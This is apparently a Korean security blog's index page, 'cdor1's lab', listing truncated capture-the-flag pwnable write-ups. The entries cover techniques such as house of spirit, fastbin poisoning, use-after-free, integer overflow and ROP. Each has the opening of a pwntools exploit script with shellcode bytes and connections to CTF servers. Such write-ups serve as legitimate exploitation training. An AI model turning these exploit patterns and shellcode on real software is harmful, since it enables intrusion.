목록Security/Pwnable (146)
cdor1's lab
후기 : house of spirit라는 취약점을 이용해서 할당이 내가 만들어준 fake chunk에 되도록 만들어 익스플로잇했다. from pwn import * s = process('./oreo') elf = ELF('/home/cdor1/pwnable/oreo') def add(name, des): s.sendline('1') #print s.recvuntil('Rifle name: ') s.sendline(name) #print s.recvuntil('Rifle description: ') s.sendline(des) print s.recvuntil('6. Exit!') add('AAAA','AAAA') add('BBBB','BBBB') add('CCCC','CCCC') pay1 = 'a'*27..
후기 : 나한테만 그런건진 몰라도 되게 어려웠던 문제다. fastbin상에서 fwd포인터를 스택으로 향하게 함으로써 스택bof로 쉘을 얻어냈다. 하도 모르겠어서 write-up을 참고하면서 엄청 삽질하면서 풀었다. from pwn import * s = remote('localhost', 4000) def word(word): print s.recvuntil('3: Quit') s.sendline('1') print s.recvuntil('Enter the word size:') s.sendline(str(len(word))) print s.recvuntil('Enter the word:') s.sendline(word) def index(word): s.sendline('2') print s.recvu..
후기 : 문제 자체는 그렇게 어렵지 않았는데 분석하는게 너무 힘들었다. 구조체가 엄청 많고 메뉴가 많아 익스플로잇도 길어지고 여러모로 멘탈 강화 훈련을 한 문제다. 오랜 시간 집중하고싶으면 이문제를 추천하고싶다. from pwn import * s = remote('localhost',4000) def overwrite(payload, yorn): print s.recvuntil(': ') s.sendline('-1') print s.recvuntil('>>') s.sendline('y') print s.recvuntil(':') s.sendline(payload) print s.recvuntil('>>') s.sendline(yorn) def overwrite2(payload): print s.recv..
후기 : libc릭백터 찾는다고 디버깅을 열심히 했던 문제이다. 언제나 디버깅을 생활화하자 from pwn import * s = remote('localhost', 4000) def register(id, password): print s.recvuntil('3) Exit') s.sendline('2') print s.recvuntil('id : ') s.sendline(id) print s.recvuntil('pw : ') s.sendline(password) def login(id, password): print s.recvuntil('3) Exit') s.sendline('1') print s.recvuntil('id : ') s.sendline(id) print s.recvuntil('pw : ..
후기 : esp leak을 이용해 스택 주소를 알고 그곳에 쉘코드를 첨부함으로써 쉘을 얻어냈다. from pwn import * s = remote('localhost', 4000) def read(index): print s.recvuntil('u - exit') s.sendline('r') print s.recvuntil('read: ') s.sendline(str(index)) def add(title, data): print s.recvuntil('u - exit') s.sendline('a') print s.recvuntil('title:') s.sendline(str(title)) s.sendline(data) shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\..
후기 : 1바이트 overflow를 통한 취약점 트리거! 입력가능범위를 ret까지만 늘리고 무한정 받을수있는 gets로 ret를 넘겨 rop로 공격했다. 포너블 입문할때 풀었던 ropasaurusrex문제가 생각나는 문제였다 from pwn import * #s = remote('localhost', 4000) s = remote('52.199.49.117', 10005) elf = ELF('/home/cdor1/pwnable/comment') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] gets_plt = elf.plt['gets'] gets_got = elf.got['gets'] bss = elf.bss() def login(password): pr..
후기 : free후 같은크기 재할당을 통해 함수포인터를 덮어 익스플로잇하는 uaf 문제였다. from pwn import * s = remote('localhost', 4000) print s.recvuntil('0x') leak = int(s.recvuntil('\n')[:-1],16) log.info('leak : ' + hex(leak)) print s.recvuntil('>>> ') s.sendline('4') print s.recvuntil('Do You Want To Exit?') s.sendline('7') print s.recvuntil('>>> ') s.sendline('3') payload = p32(leak + 4) payload += '\x31\xc0\x89\xc2\x50\x68\x..
후기 : 인티져 오버플로우와 rop를 이용한 문제였다. 공개된 2가지 bob ctf포너블 문제들을 모두 풀어보았는데 풀고나니 더더욱 비오비 6기가 되고싶은 마음이 커졌다. 이렇게 int형 변수로 입력 받고 직접적으로 +=혹은 -=연산을 하는 바이너리들은 거의 인티져 오버플로우를 허용하는 문제들 같다. from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/casino') gets_plt = elf.plt['gets'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] exit_got = elf.got['exit'] def earn(money, num): print s.rec..
후기 : 내부에서 플래그를 읽어와 .bss섹션에 저장하는 변수가 있고 오버플로우 백터가 있다. read에서 널바이트를 검사해 삭제하니 입력받을때 맨 마지막에 붙여서 들어가는 '\x00'를 이용해서 argv[0]포인터를 전부 널로 정리하고 플래그 주소로 덮어써서 *** stack smashing detected ***: ./checker terminated -> *** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated 이렇게 만드는 재밌는 문제였다 ㅎ from pwn import * s = remote('checker.pwn.seccon.jp', 14726) print s.recvuntil('NAME : ') s.sen..
후기 : 이전에 푼 문제보다 난이도가 훨~씬 쉽지만 생각보다 필요한 문제를 발견한것 같다. 나중에 pwnable을 처음 공부하는 친구한테 use after free에 대해서 설명해줄 때 이 문제를 꼭 보여줘야지 from pwn import * s = remote('localhost', 4000) def create(name,price): print s.recvuntil('Input:') s.sendline('1') print s.recvuntil('name:') s.sendline(name) print s.recvuntil('price:') s.sendline(str(price)) def remove(name): print s.recvuntil('Input:') s.sendline('2') print s..